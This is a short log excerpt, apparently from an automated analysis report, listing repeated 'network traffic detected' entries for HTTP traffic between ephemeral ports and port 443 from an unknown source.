Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 54640 |
Source: unknown | Network traffic detected: HTTP traffic on port 48968 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39038 |
Source: unknown | Network traffic detected: HTTP traffic on port 42606 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 57284 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 46754 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43528 |
Source: unknown | Network traffic detected: HTTP traffic on port 50562 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43524 |
Source: unknown | Network traffic detected: HTTP traffic on port 55608 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42678 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41344 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43122 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47960 |
Source: unknown | Network traffic detected: HTTP traffic on port 34920 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35978 |
Source: unknown | Network traffic detected: HTTP traffic on port 38532 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35976 |
Source: unknown | Network traffic detected: HTTP traffic on port 58446 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 50598 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59944 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57766 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48808 |
Source: unknown | Network traffic detected: HTTP traffic on port 38102 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36828 |
Source: unknown | Network traffic detected: HTTP traffic on port 42312 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43118 |
Source: unknown | Network traffic detected: HTTP traffic on port 56294 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48800 |
Source: unknown | Network traffic detected: HTTP traffic on port 60658 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 57488 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 43460 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40086 |
Source: unknown | Network traffic detected: HTTP traffic on port 49946 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 52992 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52088 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34634 |
Source: unknown | Network traffic detected: HTTP traffic on port 51540 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 34984 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 45378 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33794 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34640 |
Source: unknown | Network traffic detected: HTTP traffic on port 41754 -> 443 |